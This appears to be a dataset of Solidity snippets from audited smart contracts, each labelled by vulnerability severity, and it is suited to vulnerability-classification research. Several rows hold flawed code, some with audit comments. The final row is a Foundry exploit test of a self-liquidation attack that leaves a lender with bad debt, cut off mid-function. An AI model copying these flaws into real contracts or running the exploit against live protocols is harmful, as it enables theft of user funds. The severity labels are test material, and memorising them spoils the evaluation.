function
stringlengths 12
63.3k
| severity
stringclasses 4
values |
---|---|
```\nuint256 messageNumber = nextMessageNumber;\nuint256 valueSent = msg.value - \_fee;\n\nbytes32 messageHash = keccak256(abi.encode(msg.sender, \_to, \_fee, valueSent, messageNumber, \_calldata));\n```\n | high |
```\n // Loop through each money market and withdraw all the tokens\n for (uint256 i = 0; i < moneyMarketsLength; i++) {\n IMoneyMarketAdapter moneyMarket = moneyMarkets[i];\n if (!moneyMarket.supportsToken(tokenAddress)) continue;\n moneyMarket.withdrawAll(tokenAddress, address(this));\n\n supportedMoneyMarkets[supportedMoneyMarketsSize] = moneyMarket;\n supportedMoneyMarketsSize++;\n }\n```\n | medium |
```\n function canInitSwap(address subAccount, address inputToken, uint256 interval, uint256 lastSwap)\n external view returns (bool)\n {\n if (hasZeroBalance(subAccount, inputToken)) \n { return false;\n }\n return ((lastSwap + interval) < block.timestamp);\n }\n```\n | high |
```\nRocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress("rocketDAONodeTrusted"));\nif (calcBase.mul(submissionCount).div(rocketDAONodeTrusted.getMemberCount()) >= rocketDAOProtocolSettingsNetwork.getNodeConsensusThreshold()) {\n setMinipoolWithdrawable(\_minipoolAddress, \_stakingStartBalance, \_stakingEndBalance);\n}\n```\n | medium |
```\nbytes32 resultHash = keccak256(abi.encodePacked(groupPubKey, misbehaved));\n```\n | medium |
```\n function blacklistProtocol(uint256 _protocolNum) external onlyGuardian {\n uint256 balanceProtocol = balanceUnderlying(_protocolNum);\n currentAllocations[_protocolNum] = 0;\n controller.setProtocolBlacklist(vaultNumber, _protocolNum);\n savedTotalUnderlying -= balanceProtocol;\n withdrawFromProtocol(_protocolNum, balanceProtocol);\n }\n```\n | medium |
```\nfunction setWhitelistStatus(address _wallet, bool _status) external onlyOwner {\n whitelisted[_wallet] = _status;\n emit Whitelist(_wallet, _status);\n}\n```\n | none |
```\n function _revertOnMinDebt(\n LoansState storage loans_,\n uint256 poolDebt_,\n uint256 borrowerDebt_,\n uint256 quoteDust_\n ) view {\n if (borrowerDebt_ != 0) {\n uint256 loansCount = Loans.noOfLoans(loans_);\n if (loansCount >= 10) {\n if (borrowerDebt_ < _minDebtAmount(poolDebt_, loansCount)) revert AmountLTMinDebt();\n } else {\n if (borrowerDebt_ < quoteDust_) revert DustAmountNotExceeded();\n }\n }\n }\n```\n | medium |
```\nfunction log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n}\n```\n | none |
```\n function getTargetExternalLendingAmount(\n Token memory underlyingToken,\n PrimeCashFactors memory factors,\n RebalancingTargetData memory rebalancingTargetData,\n OracleData memory oracleData,\n PrimeRate memory pr\n ) internal pure returns (uint256 targetAmount) {\n// rest of code\n\n targetAmount = SafeUint256.min(\n // totalPrimeCashInUnderlying and totalPrimeDebtInUnderlying are in 8 decimals, convert it to native\n // token precision here for accurate comparison. No underflow possible since targetExternalUnderlyingLend\n // is floored at zero.\n uint256(underlyingToken.convertToExternal(targetExternalUnderlyingLend)),\n // maxExternalUnderlyingLend is limit enforced by setting externalWithdrawThreshold\n // maxExternalDeposit is limit due to the supply cap on external pools\n SafeUint256.min(maxExternalUnderlyingLend, oracleData.maxExternalDeposit)\n );\n```\n | medium |
```\nfunction updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner {\n sellMarketingFee = _marketingFee;\n sellLiquidityFee = _liquidityFee;\n sellDevFee = _devFee;\n earlySellLiquidityFee = _earlySellLiquidityFee;\n earlySellMarketingFee = _earlySellMarketingFee;\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n require(sellTotalFees <= 99, "Must keep fees at 99% or less");\n}\n```\n | none |
```\nfunction setSell() private {\n _taxFee = sellFee.tax;\n _liquidityFee = sellFee.liquidity;\n _marketingFee = sellFee.marketing;\n _donationFee = sellFee.donation;\n _devFee = sellFee.dev;\n}\n```\n | none |
```\n// @audit-issue Wrong computation\nuint256 amountToSellUnits = IERC20Upgradeable(collateral[i].token).balanceOf(USSD) * ((amountToBuyLeftUSD * 1e18 / collateralval) / 1e18) / 1e18;\n```\n | high |
```\nfunction deposit(GMXTypes.DepositParams memory dp) external payable nonReentrant {\n GMXDeposit.deposit(_store, dp, false);\n }\n\nstruct DepositParams {\n // Address of token depositing; can be tokenA, tokenB or lpToken\n address token;\n // Amount of token to deposit in token decimals\n uint256 amt;\n // Minimum amount of shares to receive in 1e18\n uint256 minSharesAmt;\n // Slippage tolerance for adding liquidity; e.g. 3 = 0.03%\n uint256 slippage;\n // Execution fee sent to GMX for adding liquidity\n uint256 executionFee;\n }\n```\n | high |
```\nfunction _executeTrade(\n address target,\n uint256 msgValue,\n bytes memory params,\n address spender,\n Trade memory trade\n) private {\n uint256 preTradeBalance;\n\n if (trade.sellToken == address(Deployments.WETH) && spender == Deployments.ETH_ADDRESS) {\n preTradeBalance = address(this).balance;\n // Curve doesn't support Deployments.WETH (spender == address(0))\n uint256 withdrawAmount = _isExactIn(trade) ? trade.amount : trade.limit;\n Deployments.WETH.withdraw(withdrawAmount);\n } else if (trade.sellToken == Deployments.ETH_ADDRESS && spender != Deployments.ETH_ADDRESS) {\n preTradeBalance = IERC20(address(Deployments.WETH)).balanceOf(address(this));\n // UniswapV3 doesn't support ETH (spender != address(0))\n uint256 depositAmount = _isExactIn(trade) ? trade.amount : trade.limit;\n Deployments.WETH.deposit{value: depositAmount }();\n }\n\n (bool success, bytes memory returnData) = target.call{value: msgValue}(params);\n if (!success) revert TradeExecution(returnData);\n\n if (trade.buyToken == address(Deployments.WETH)) {\n if (address(this).balance > preTradeBalance) {\n // If the caller specifies that they want to receive Deployments.WETH but we have received ETH,\n // wrap the ETH to Deployments.WETH.\n uint256 depositAmount;\n unchecked { depositAmount = address(this).balance - preTradeBalance; }\n Deployments.WETH.deposit{value: depositAmount}();\n }\n } else if (trade.buyToken == Deployments.ETH_ADDRESS) {\n uint256 postTradeBalance = IERC20(address(Deployments.WETH)).balanceOf(address(this));\n if (postTradeBalance > preTradeBalance) {\n // If the caller specifies that they want to receive ETH but we have received Deployments.WETH,\n // unwrap the Deployments.WETH to ETH.\n uint256 withdrawAmount;\n unchecked { withdrawAmount = postTradeBalance - preTradeBalance; }\n Deployments.WETH.withdraw(withdrawAmount);\n }\n }\n}\n```\n | high |
```\n address burnToken = address(ISoftVault(strategy.vault).uToken());\n if (collSize > 0) {\n if (posCollToken != address(wrapper))\n revert Errors.INCORRECT_COLTOKEN(posCollToken);\n bank.takeCollateral(collSize);\n wrapper.burn(burnToken, collSize);\n _doRefund(burnToken);\n }\n```\n | medium |
```\n function setIncentiveSettings(IncentiveSettings memory _newIncentiveSettings) external onlyOperator noRebalanceInProgress {\n incentive = _newIncentiveSettings;\n\n _validateNonExchangeSettings(methodology, execution, incentive);\n\n emit IncentiveSettingsUpdated(\n incentive.etherReward,\n incentive.incentivizedLeverageRatio,\n incentive.incentivizedSlippageTolerance,\n incentive.incentivizedTwapCooldownPeriod\n );\n }\n```\n | medium |
```\n function claimRemainings() external {\n if (block.timestamp <= endingTimestamp) {\n revert RedemptionPeriodNotFinished();\n }\n\n // Sending the token to the burning address\n token.transfer(DEAD_ADDRESS, token.balanceOf(address(this)));\n recipient.call{value: address(this).balance}("");\n\n```\n | none |
```\nfunction _setMaxWalletSizePercent(uint256 maxWalletSize)\n external\n onlyOwner\n{\n _maxWalletSize = _tTotal.mul(maxWalletSize).div(10**3);\n}\n```\n | none |
```\noffTargetPercentage = abs(90 - 100) / (100 + 90) = 10 / 190 = 0.0526 = 5.26%\n```\n | medium |
```\nfunction sendInterests(Loan storage loan, Provision storage provision) internal returns (uint256 sent) {\n uint256 interests = loan.payment.paid - loan.lent;\n if (interests == loan.payment.minInterestsToRepay) {\n // this is the case if the loan is repaid shortly after issuance\n // each lender gets its minimal interest, as an anti ddos measure to spam offer\n sent = provision.amount + (interests / loan.nbOfPositions);\n } else {\n /* provision.amount / lent = share of the interests belonging to the lender. The parenthesis make the\n calculus in the order that maximizes precison */\n sent = provision.amount + (interests * (provision.amount)) / loan.lent;\n }\n loan.assetLent.checkedTransfer(msg.sender, sent);\n}\n```\n | medium |
```\nfunction setPresaleWallet(address wallet) external onlyOwner {\n canTransferBeforeTradingIsEnabled[wallet] = true;\n _isExcludedFromFees[wallet] = true;\n dividendTracker.excludeFromDividends(wallet);\n emit SetPreSaleWallet(wallet);\n}\n```\n | none |
```\n/// @notice Sets up starting delegate contract and then delegates initialisation to it\nfunction initialise(address \_rocketStorage, address \_nodeAddress) external override notSelf {\n // Check input\n require(\_nodeAddress != address(0), "Invalid node address");\n require(storageState == StorageState.Undefined, "Already initialised");\n // Set storage state to uninitialised\n storageState = StorageState.Uninitialised;\n // Set rocketStorage\n rocketStorage = RocketStorageInterface(\_rocketStorage);\n```\n | low |
```\nreceive() external payable {}\n```\n | none |
```\nif (\_isPurchased[delegationId]) {\n address holder = delegation.holder;\n \_totalDelegated[holder] += delegation.amount;\n if (\_totalDelegated[holder] >= \_purchased[holder]) {\n purchasedToUnlocked(holder);\n }\n}\n```\n | high |
```\nfunction _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n}\n```\n | none |
```\n(bool success, bytes memory result) = addressAt(routeId).delegatecall(\n```\n | high |
```\nfunction swapbackValues()\n external\n view\n returns (\n bool _swapbackEnabled,\n uint256 _swapBackValueMin,\n uint256 _swapBackValueMax\n )\n{\n _swapbackEnabled = swapbackEnabled;\n _swapBackValueMin = swapBackValueMin;\n _swapBackValueMax = swapBackValueMax;\n}\n```\n | none |
```\nfunction div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n}\n```\n | none |
```\nfunction unlockStake() external {\n DepositInfo storage info = deposits[msg.sender];\n require(info.unstakeDelaySec != 0, "not staked");\n require(info.staked, "already unstaking");\n uint48 withdrawTime = uint48(block.timestamp) + info.unstakeDelaySec;\n info.withdrawTime = withdrawTime;\n info.staked = false;\n emit StakeUnlocked(msg.sender, withdrawTime);\n}\n```\n | none |
```\nfunction _setMinThreshold(uint256 _minThreshold) internal {\n if (_minThreshold > maxSigners || _minThreshold > targetThreshold) {\n revert InvalidMinThreshold();\n }\n\n minThreshold = _minThreshold;\n}\n```\n | medium |
```\nfunction setFlashCloseFee(uint64 \_newFactorA, uint64 \_newFactorB) external isAuthorized {\n flashCloseF.a = \_newFactorA;\n flashCloseF.b = \_newFactorB;\n```\n | medium |
```\nif (value > 0) {\n totalERC20Claimed[_token][_to] += value;\n _token.transfer(_to, value);\n}\n```\n | medium |
```\n function getTokenPriceFromStablePool(\n address lookupToken_,\n uint8 outputDecimals_,\n bytes calldata params_\n ) external view returns (uint256) {\n\n // rest of code..\n\n try pool.getLastInvariant() returns (uint256, uint256 ampFactor) {\n \n // @audit the amplification factor as of the last invariant calculation is used\n lookupTokensPerDestinationToken = StableMath._calcOutGivenIn(\n ampFactor,\n balances_,\n destinationTokenIndex,\n lookupTokenIndex,\n 1e18,\n StableMath._calculateInvariant(ampFactor, balances_) // Sometimes the fetched invariant value does not work, so calculate it\n );\n```\n | medium |
```\nfallback() external payable {\n revert("DCBW721: Please use Mint or Admin calls");\n}\n```\n | none |
```\nfunction _createActionInfo() internal view returns(ActionInfo memory) {\n ActionInfo memory rebalanceInfo;\n\n // Calculate prices from chainlink. Chainlink returns prices with 8 decimal places, but we need 36 - underlyingDecimals decimal places.\n // This is so that when the underlying amount is multiplied by the received price, the collateral valuation is normalized to 36 decimals.\n // To perform this adjustment, we multiply by 10^(36 - 8 - underlyingDecimals)\n int256 rawCollateralPrice = strategy.collateralPriceOracle.latestAnswer();\n rebalanceInfo.collateralPrice = rawCollateralPrice.toUint256().mul(10 ** strategy.collateralDecimalAdjustment);\n int256 rawBorrowPrice = strategy.borrowPriceOracle.latestAnswer();\n rebalanceInfo.borrowPrice = rawBorrowPrice.toUint256().mul(10 ** strategy.borrowDecimalAdjustment);\n// More Code// rest of code.\n}\n \n```\n | medium |
```\nFile: BondBaseSDA.sol\n // Set last decay timestamp based on size of purchase to linearize decay\n uint256 lastDecayIncrement = debtDecayInterval.mulDiv(payout_, lastTuneDebt);\n metadata[id_].lastDecay += uint48(lastDecayIncrement);\n```\n | medium |
```\nfunction test_ExtendLock_AlreadyEnded() external {\n uint256 amount = 100e18;\n uint256 duration = 5 days;\n\n _stake(amount, duration, alice, alice);\n\n // 5 days later, lock is ended for Alice\n skip(5 days + 1);\n\n (,, uint128 _ends,,) = veTRUF.lockups(alice, 0);\n\n // Alice's lock is indeed ended\n assertTrue(_ends < block.timestamp, "lock is ended");\n\n // 36 days passed \n skip(36 days);\n\n // Alice extends her already finished lock 30 more days\n vm.prank(alice);\n veTRUF.extendLock(0, 30 days);\n\n (,,_ends,,) = veTRUF.lockups(alice, 0);\n\n // Alice's lock can be easily unlocked right away\n assertTrue(_ends < block.timestamp, "lock is ended");\n\n // Alice unstakes her lock, basically alice can unstake her lock anytime she likes\n vm.prank(alice);\n veTRUF.unstake(0);\n }\n```\n | medium |
```\nfor (uint256 i = 0; i < redeemableTokens.length; i++) {\n vaultTokenBalance = vault.balance(redeemableTokens[i]);\n\n redemptionAmount = \_burnableAmount.mul(vaultTokenBalance).div(burnableTokenTotalSupply);\n totalRedemptionAmount = totalRedemptionAmount.add(redemptionAmount);\n\n if (redemptionAmount > 0) {\n vault.transfer(redeemableTokens[i], msg.sender, redemptionAmount);\n }\n}\n```\n | medium |
```\n// // Refund Base Token if any\nif (totalRefundBaseTokens > 0) {\n baseToken.safeTransferFrom(address(this), \_recipient, baseTokenID, totalRefundBaseTokens, "");\n}\n\n// Send Tokens all tokens purchased\ntoken.safeBatchTransferFrom(address(this), \_recipient, \_tokenIds, \_tokensBoughtAmounts, "");\n```\n | medium |
```\nISwapToken public swapToken;\n```\n | low |
```\n function withdrawalRequest(\n uint256 _amount\n ) external nonReentrant onlyWhenVaultIsOn returns (uint256 value) {\n UserInfo storage user = userInfo[msg.sender];\n require(user.withdrawalRequestPeriod == 0, "Already a request");\n\n value = (_amount * exchangeRate) / (10 ** decimals());\n\n _burn(msg.sender, _amount);\n\n user.withdrawalAllowance = value;\n user.withdrawalRequestPeriod = rebalancingPeriod;\n totalWithdrawalRequests += value;\n }\n```\n | medium |
```\nenum OrderStatus {EXPIRED, CANCELLED, FILLABLE, FULLY\_FILLED}\n```\n | low |
```\nfunction getRewardsSupply() public view returns (uint256) {\n return _totalSupply - getExcludedBalances();\n}\n```\n | none |
```\nfunction sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n return a - b;\n }\n}\n```\n | none |
```\nfunction getOffsetOfMemoryBytes(bytes memory data) internal pure returns (uint256 offset) {\n assembly {offset := data}\n}\n```\n | none |
```\nfunction isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n}\n```\n | none |
```\nfunction reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {\n require(tAmount <= _tTotal, "Amount must be less than supply");\n if (!deductTransferFee) {\n (uint256 rAmount,,,,,) = _getValues(tAmount);\n return rAmount;\n } else {\n (,uint256 rTransferAmount,,,,) = _getValues(tAmount);\n return rTransferAmount;\n }\n}\n```\n | none |
```\nfunction setupVoting(uint256 planId) external nonReentrant returns (address votingVault) {\n votingVault = \_setupVoting(msg.sender, planId);\n```\n | low |
```\nfunction bridgeAfterSwap(\n```\n | medium |
```\n/\*\*\n\* @notice Checks whether a transaction is "standard finalized"\n\* @dev MVP: requires that both inclusion proof and confirm signature is checked\n\* @dev MoreVp: checks inclusion proof only\n\*/\nfunction isStandardFinalized(Model.Data memory data) public view returns (bool) {\n if (data.protocol == Protocol.MORE\_VP()) {\n return checkInclusionProof(data);\n } else if (data.protocol == Protocol.MVP()) {\n revert("MVP is not yet supported");\n } else {\n revert("Invalid protocol value");\n }\n}\n```\n | medium |
```\nfunction ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n}\n```\n | none |
```\nfunction updateSwapEnabled(bool enabled) external onlyOwner(){\n swapEnabled = enabled;\n}\n```\n | none |
```\nfunction distributeERC20(\n address split,\n ERC20 token,\n address[] calldata accounts,\n uint32[] calldata percentAllocations,\n uint32 distributorFee,\n address distributorAddress\n) external override validSplit(accounts, percentAllocations, distributorFee) {\n // use internal fn instead of modifier to avoid stack depth compiler errors\n _validSplitHash(split, accounts, percentAllocations, distributorFee);\n _distributeERC20(\n split,\n token,\n accounts,\n percentAllocations,\n distributorFee,\n distributorAddress\n );\n}\n```\n | none |
```\naddress underlying = getUnderlyingAddress(_vaultNumber, _chain);\nuint256 balance = IERC20(underlying).balanceOf(address(this));\n```\n | medium |
```\nfunction functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, "Address: low-level delegate call failed");\n}\n```\n | none |
```\n } else {\n // Default to PaymentType.EMI\n // Max payable amount in a cycle\n // NOTE: the last cycle could have less than the calculated payment amount\n uint256 maxCycleOwed = isLastPaymentCycle\n ? owedPrincipal_ + interest_\n : _bid.terms.paymentCycleAmount;\n\n // Calculate accrued amount due since last repayment\n uint256 owedAmount = (maxCycleOwed * owedTime) /\n _bid.terms.paymentCycle;\n duePrincipal_ = Math.min(owedAmount - interest_, owedPrincipal_);\n }\n```\n | medium |
```\nmodifier onlyWhenUnderlyingsReceived(uint256 _vaultNumber) {\n require(\n vaultStage[_vaultNumber].underlyingReceived == vaultStage[_vaultNumber].activeVaults,\n "Not all underlyings received"\n );\n _;\n}\n```\n | medium |
```\nfunction latestRoundData(\n address base,\n address quote\n)\n external\n view\n override\n checkPairAccess()\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n )\n{\n uint16 currentPhaseId = s_currentPhaseId[base][quote];\n //@audit this pulls the Aggregator for the requested pair\n AggregatorV2V3Interface aggregator = _getFeed(base, quote);\n require(address(aggregator) != address(0), "Feed not found");\n (\n roundId,\n answer,\n startedAt,\n updatedAt,\n answeredInRound\n ) = aggregator.latestRoundData();\n return _addPhaseIds(roundId, answer, startedAt, updatedAt, answeredInRound, currentPhaseId);\n}\n```\n | medium |
```\n // sell wETH\n uint256 wethBalance = inversed ? amount1Current : amount0Current;\n if (wethBalance < minAmount) return 0;\n```\n | low |
```\nfunction isTokenMinted(uint256 _tokenId) public view returns (bool) {\n return validateTokenId(_tokenId) && _exists(_tokenId);\n}\n```\n | none |
```\nfunction _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n}\n```\n | none |
```\nfunction pauseCollateralType(\n address _collateralAddress,\n bytes32 _currencyKey\n ) external collateralExists(_collateralAddress) onlyAdmin {\n require(_collateralAddress != address(0)); //this should get caught by the collateralExists check but just to be careful\n //checks two inputs to help prevent input mistakes\n require( _currencyKey == collateralProps[_collateralAddress].currencyKey, "Mismatched data");\n collateralValid[_collateralAddress] = false;\n collateralPaused[_collateralAddress] = true;\n}\n```\n | high |
```\nfunction recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n _throwError(error);\n return recovered;\n}\n```\n | none |
```\nuint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired\nif (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {\n // * never overflows, and + overflow is desired\n price0CumulativeLast += uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;\n price1CumulativeLast += uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;\n}\n```\n | medium |
```\nfor (uint256 w = fromWeek\_; w < toWeek\_; ++w) {\n incomeMap[policyIndex\_][w] =\n incomeMap[policyIndex\_][w].add(premium);\n coveredMap[policyIndex\_][w] =\n coveredMap[policyIndex\_][w].add(amount\_);\n\n require(coveredMap[policyIndex\_][w] <= maximumToCover,\n "Not enough to buy");\n\n coverageMap[policyIndex\_][w][\_msgSender()] = Coverage({\n amount: amount\_,\n premium: premium,\n refunded: false\n });\n}\n```\n | high |
```\nfunction liquidate(\n address account,\n IProduct product\n ) external nonReentrant notPaused isProduct(product) settleForAccount(account, product) {\n if (product.isLiquidating(account)) revert CollateralAccountLiquidatingError(account);\n\n UFixed18 totalMaintenance = product.maintenance(account); maintenance?\n UFixed18 totalCollateral = collateral(account, product); \n\n if (!totalMaintenance.gt(totalCollateral))\n revert CollateralCantLiquidate(totalMaintenance, totalCollateral);\n\n product.closeAll(account);\n\n // claim fee\n UFixed18 liquidationFee = controller().liquidationFee();\n \n UFixed18 collateralForFee = UFixed18Lib.max(totalMaintenance, controller().minCollateral()); \n UFixed18 fee = UFixed18Lib.min(totalCollateral, collateralForFee.mul(liquidationFee)); \n\n _products[product].debitAccount(account, fee); \n token.push(msg.sender, fee);\n\n emit Liquidation(account, product, msg.sender, fee);\n }\n```\n | medium |
```\n// CouncilMember.sol\n\nfunction _retrieve() internal {\n // rest of code\n // Execute the withdrawal from the _target, which might be a Sablier stream or another protocol\n _stream.execute(\n _target,\n abi.encodeWithSelector(\n ISablierV2ProxyTarget.withdrawMax.selector, \n _target, \n _id,\n address(this)\n )\n );\n\n // rest of code\n }\n```\n | high |
```\nif (BBTotSupply == 0) {\n // if there are no BB holders, all gain to AA\n AAGain = gain;\n} else if (AATotSupply == 0) {\n // if there are no AA holders, all gain to BB\n BBGain = gain;\n} else {\n // split the gain between AA and BB holders according to trancheAPRSplitRatio\n AAGain = gain \* trancheAPRSplitRatio / FULL\_ALLOC;\n BBGain = gain - AAGain;\n}\n```\n | medium |
```\nfunction enableTrading() external onlyOwner {\n require(!tradingEnabled, "Trading is already enabled");\n tradingEnabled = true;\n startTradingBlock = block.number;\n}\n```\n | none |
```\n/\*\* @dev Status of the Basset - has it broken its peg? \*/\nenum BassetStatus {\n Default,\n Normal,\n BrokenBelowPeg,\n BrokenAbovePeg,\n Blacklisted,\n Liquidating,\n Liquidated,\n Failed\n}\n```\n | low |
```\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n```\n | medium |
```\nfunction _functionCallWithValue(\n address target,\n bytes memory data,\n uint256 weiValue,\n string memory errorMessage\n) private returns (bytes memory) {\n require(isContract(target), "Address: call to non-contract");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.call{value: weiValue}(\n data\n );\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n // solhint-disable-next-line no-inline-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n```\n | none |
```\n for (uint i; i < _statuses.length; ) {\n whitelistedRouters[_routers[i]] = _statuses[i];\n if (_statuses[i]) {\n routerTypes[_routers[i]] = _types[i];\n emit SetRouterType(_routers[i], _types[i]);\n }\n emit SetWhitelistedRouter(_routers[i], _statuses[i]);\n unchecked {\n ++i;\n }\n }\n```\n | medium |
```\n// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.17;\n\nimport "forge-std/Test.sol";\n\nimport {MAX_RATE, DEFAULT_ANTE, DEFAULT_N_SIGMA, LIQUIDATION_INCENTIVE} from "src/libraries/constants/Constants.sol";\nimport {Q96} from "src/libraries/constants/Q.sol";\nimport {zip} from "src/libraries/Positions.sol";\n\nimport "src/Borrower.sol";\nimport "src/Factory.sol";\nimport "src/Lender.sol";\nimport "src/RateModel.sol";\n\nimport {FatFactory, VolatilityOracleMock} from "./Utils.sol";\n\ncontract RateModelMax is IRateModel {\n uint256 private constant _A = 6.1010463348e20;\n\n uint256 private constant _B = _A / 1e18;\n\n /// @inheritdoc IRateModel\n function getYieldPerSecond(uint256 utilization, address) external pure returns (uint256) {\n unchecked {\n return (utilization < 0.99e18) ? _A / (1e18 - utilization) - _B : MAX_RATE;\n }\n }\n}\n\ncontract ExploitTest is Test, IManager, ILiquidator {\n IUniswapV3Pool constant pool = IUniswapV3Pool(0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8);\n ERC20 constant asset0 = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n ERC20 constant asset1 = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n Lender immutable lender0;\n Lender immutable lender1;\n Borrower immutable account;\n\n constructor() {\n vm.createSelectFork(vm.rpcUrl("mainnet"));\n vm.rollFork(15_348_451);\n\n Factory factory = new FatFactory(\n address(0),\n address(0),\n VolatilityOracle(address(new VolatilityOracleMock())),\n new RateModelMax()\n );\n\n factory.createMarket(pool);\n (lender0, lender1, ) = factory.getMarket(pool);\n account = factory.createBorrower(pool, address(this), bytes12(0));\n }\n\n function setUp() public {\n // deal to lender and deposit (so that there are assets to borrow)\n deal(address(asset0), address(lender0), 10000e18); // DAI\n deal(address(asset1), address(lender1), 10000e18); // WETH\n lender0.deposit(10000e18, address(12345));\n lender1.deposit(10000e18, address(12345));\n\n deal(address(account), DEFAULT_ANTE + 1);\n }\n\n function test_selfLiquidation() public {\n\n // malicious user borrows at max leverage + some safety margin\n uint256 margin0 = 51e18 + 1000e18;\n uint256 borrows0 = 10000e18;\n\n deal(address(asset0), address(account), margin0);\n\n bytes memory data = abi.encode(Action.BORROW, borrows0, 0);\n account.modify(this, data, (1 << 32));\n\n assertEq(lender0.borrowBalance(address(account)), borrows0);\n assertEq(asset0.balanceOf(address(account)), borrows0 + margin0);\n\n // skip 1 day (without transactions)\n skip(86400);\n\n emit log_named_uint("User borrow:", lender0.borrowBalance(address(account)));\n emit log_named_uint("User stored borrow:", lender0.borrowBalanceStored(address(account)));\n\n // withdraw all the "extra" balance putting account into bad debt\n bytes memory data2 = abi.encode(Action.WITHDRAW, 1000e18, 0);\n account.modify(this, data2, (1 << 32));\n\n // account is still not liquidatable (because liquidation also uses stored liabilities)\n vm.expectRevert();\n account.warn((1 << 32));\n\n // make account liquidatable by settling accumulated interest\n lender0.accrueInterest();\n\n // warn account\n account.warn((1 << 32));\n\n // skip warning time\n skip(LIQUIDATION_GRACE_PERIOD);\n lender0.accrueInterest();\n\n // liquidation reverts because it requires asset the account doesn't have to swap\n vm.expectRevert();\n account.liquidate(this, bytes(""), 1, (1 << 32));\n\n emit log_named_uint("Before liquidation User borrow:", lender0.borrowBalance(address(account)));\n emit log_named_uint("Before liquidation User stored borrow:", lender0.borrowBalanceStored(address(account)));\n emit log_named_uint("Before liquidation User assets:", asset0.balanceOf(address(account)));\n\n // liquidate with max strain to avoid revert when trying to swap assets account doesn't have\n account.liquidate(this, bytes(""), type(uint256).max, (1 << 32));\n\n emit log_named_uint("Liquidated User borrow:", lender0.borrowBalance(address(account)));\n emit log_named_uint("Liquidated User assets:", asset0.balanceOf(address(account)));\n }\n\n enum Action {\n WITHDRAW,\n BORROW,\n UNI_DEPOSIT\n }\n\n // IManager\n function callback(bytes calldata data, address, uint208) external returns (uint208 positions) {\n require(msg.sender == address(account));\n\n (Action action, uint256 amount0, uint256 amount1) = abi.decode(data, (Action, uint256, uint256));\n\n if (action == Action.WITHDRAW) {\n account.transfer(amount0, amount1, address(this));\n } else if (action == Action.BORROW) {\n account.borrow(amount0, amount1, msg.sender);\n } else if (action == Action.UNI_DEPOSIT) {\n account.uniswapDeposit(-75600, -75540, 200000000000000000);\n positions = zip([-75600, -75540, 0, 0, 0, 0]);\n }\n }\n\n // ILiquidator\n receive() external payable {}\n\n function swap1For0(bytes calldata data, uint256 actual, uint256 expected0) external {\n /*\n uint256 expected = abi.decode(data, (uint256));\n if (expected == type(uint256).max) {\n Borrower(payable(msg.sender)).liquidate(this, data, 1, (1 << 32));\n }\n assertEq(actual, expected);\n */\n pool.swap(msg.sender, false, -int256(expected0), TickMath.MAX_SQRT_RATIO - 1, bytes(""));\n }\n\n function swap0For1(bytes calldata data, uint256 actual, uint256 expected1) external {\n /*\n uint256 expected = abi.decode(data, (uint256));\n if (expected == type(uint256).max) {\n Borrower(payable(msg.sender)).liquidate(this, data, 1, (1 << 32));\n }\n assertEq(actual, expected);\n */\n pool.swap(msg.sender, true, -int256(expected1), TickMath.MIN_SQRT_RATIO + 1, bytes(""));\n }\n\n // IUniswapV3SwapCallback\n function 